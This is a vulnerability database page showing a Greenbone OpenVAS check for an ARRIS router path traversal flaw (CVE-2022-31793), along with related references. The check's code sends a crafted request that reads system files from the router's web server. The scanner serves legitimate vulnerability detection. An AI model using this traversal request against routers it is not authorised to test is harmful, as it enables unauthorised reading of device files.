Lucene search
+L

ARRIS Routers Information Disclosure Vulnerability (Jun 2022) - Active Check

🗓️ 12 Aug 2022 00:00:00Reported by Copyright (C) 2022 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 15 Views

ARRIS Routers Information Disclosure Vulnerability (Jun 2022) - Active Check. Multiple ARRIS routers prone to info disclosure due to muhttpd web server. Affected models: NVG443, NVG599, NVG589, NVG510, BGW210, BGW320. Solution: Contact vendor/IS

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for Path Traversal in Inglorion Muhttpd
19 Aug 202201:42
githubexploit
attackerkb
ATTACKERKB
CVE-2022-31793
4 Aug 202222:15
attackerkb
circl
Circl
CVE-2022-31793
20 Apr 202500:00
circl
cnnvd
CNNVD
muhttpd 路径遍历漏洞
4 Aug 202200:00
cnnvd
cve
CVE
CVE-2022-31793
4 Aug 202221:55
cve
cvelist
Cvelist
CVE-2022-31793
4 Aug 202221:55
cvelist
malwarebytes
Malwarebytes
Millions of Arris routers are vulnerable to path traversal attacks
1 Aug 202217:00
malwarebytes
malwarebytes
Malwarebytes
Millions of Arris routers are vulnerable to path traversal attacks
1 Aug 202217:31
malwarebytes
nvd
NVD
CVE-2022-31793
4 Aug 202222:15
nvd
openvas
OpenVAS
Generic HTTP Directory Traversal / File Inclusion (Web Dirs) - Active Check
22 Jul 202100:00
openvas
Rows per page
# SPDX-FileCopyrightText: 2022 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE_PREFIX = "cpe:/o:arris:";

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.148592");
  script_version("2025-04-15T05:54:49+0000");
  script_tag(name:"last_modification", value:"2025-04-15 05:54:49 +0000 (Tue, 15 Apr 2025)");
  script_tag(name:"creation_date", value:"2022-08-12 07:09:13 +0000 (Fri, 12 Aug 2022)");
  script_tag(name:"cvss_base", value:"7.8");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:N/A:N");
  script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2022-08-11 18:07:00 +0000 (Thu, 11 Aug 2022)");

  script_cve_id("CVE-2022-31793");

  script_tag(name:"qod_type", value:"exploit");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("ARRIS Routers Information Disclosure Vulnerability (Jun 2022) - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2022 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_arris_router_http_detect.nasl", "os_detection.nasl");
  script_mandatory_keys("arris/router/http/detected");
  script_require_ports("Services/www", 80);

  script_tag(name:"summary", value:"Multiple ARRIS routers are prone to an information disclosure
  vulnerability in the underlying muhttpd web server.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"insight", value:"do_request in request.c in muhttpd before 1.1.7 allows remote
  attackers to read arbitrary files by constructing a URL with a single character before a desired
  path on the filesystem. This occurs because the code skips over the first character when serving
  files.");

  script_tag(name:"affected", value:"Arris NVG443, NVG599, NVG589, and NVG510 devices and
  Arris-derived BGW210 and BGW320 devices. Other devices might be affected as well.");

  script_tag(name:"solution", value:"Contact your vendor/ISP for a solution.");

  script_xref(name:"URL", value:"https://derekabdine.com/blog/2022-arris-advisory");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("list_array_func.inc");
include("misc_func.inc");
include("traversal_func.inc");
include("os_func.inc");

if (!infos = get_app_port_from_cpe_prefix(cpe: CPE_PREFIX, service: "www", first_cpe_only: TRUE))
  exit(0);

port = infos["port"];
cpe = infos["cpe"];

if (!get_app_location(cpe: cpe, port: port, nofork: TRUE))
  exit(0);

files = traversal_files("linux");

foreach pattern (keys(files)) {
  url = "a/" + files[pattern];

  req = http_get(port: port, item: url);
  res = http_keepalive_send_recv(port: port, data: req);

  if (egrep(pattern: pattern, string: res)) {
    info['HTTP Method'] = "GET";
    info['Affected URL'] = http_report_vuln_url(port: port, url: url, url_only: TRUE);

    report  = 'By doing the following HTTP request:\n\n';
    report += text_format_table(array: info) + '\n\n';
    report += 'it was possible to obtain the file "' + files[pattern] + '".';
    report += '\n\nResult:\n\n' + res;
    expert_info = 'Request:\n\n' + req + '\n\nResponse:\n\n' + res;
    security_message(port: port, data: report, expert_info: expert_info);
    exit(0);
  }
}

exit(99);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation